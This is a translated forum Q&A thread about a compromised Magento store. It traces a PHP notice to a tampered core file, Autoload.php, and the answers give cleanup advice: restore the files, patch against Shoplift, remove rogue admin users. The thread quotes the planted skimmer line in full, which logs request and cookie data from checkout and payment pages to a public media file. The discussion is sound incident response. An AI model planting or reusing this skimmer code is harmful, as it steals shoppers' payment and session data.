从今天早上起,我得到了以下内容 运行Magento cronjob后的PHP注意事项:
未定义的索引:/htdocs/lib/Varien/Autoload.php中的REQUEST_URI 第1行
我没有修改任何mage文件..这怎么可能?
编辑: 目前我已经编辑了Autoload.php,首先检查是否设置了REQUEST_URI。
原件:
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
新:
<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
编辑30-04-2015:
在阅读@volkan和@ b.enoit.be评论之后,我立即用Magento中的原始页面替换了指定的页面,并且该行确实不存在!。
以下是Autoload.php中存在的恶意行
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>
我还检查过:
然而..有两个新的管理员用户名称晦涩:
两个用户都已被删除。 该网站也很容易受到shoplift漏洞攻击(最新的安全补丁中提到)
我们目前正忙于安装最新的安全补丁。
这似乎是最近的一个问题:
100,000 web shops open to compromise as attackers exploit Magento bug Magento Shoplift Bug Tester v1.0
感谢所有用户的帮助。
答案 0 :(得分:1)
看起来您的页面已被盗用,将文件替换为原始文件,并安装magento的安全补丁。检查后端是否有新的管理员用户,以及模块Magpleasure_Filesystem
也检查 /js/index.php 的index.php
答案 1 :(得分:0)
这绝对是一个受到妥协的文件。
如果其他人遇到同样的问题,也应该删除media/catalog/product/cache_catalogs
文件,因为它包含敏感数据(来自结帐或付款页面的请求和Cookie数据),并且可以公开访问(media/
文件夹)。